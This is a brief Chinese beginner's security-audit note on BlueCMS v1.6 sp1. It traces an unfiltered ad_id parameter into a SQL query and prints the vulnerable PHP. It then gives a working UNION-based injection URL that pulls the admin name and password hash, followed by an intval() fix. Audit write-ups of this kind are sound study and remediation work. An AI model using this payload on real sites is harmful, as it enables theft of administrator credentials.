新手审计cms BlueCMSv1.6 sp1 这个cms有很多漏洞所以来审计一波。。做一手记录
漏洞一:SQL注入:
可以通过网上大佬的方法用法师大大的seay工具,也可以用phpstroml来审计
1、通过seay或者phpstrom来搜索经典的传参方式$_GET、$_POST等
2、这里我们可以发现$ad_id没有进行过滤,我们继续追踪这个变量
1 $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
3、这里这个变量直接被带入到数据库中查询,由于这个变量是可控的
if(empty($ad_id)) { echo 'Error!'; exit(); } $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
4、验证
ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1
5、修复:
$ad_id = !empty($_GET['ad_id']) ? intval($_GET['ad_id']) : '';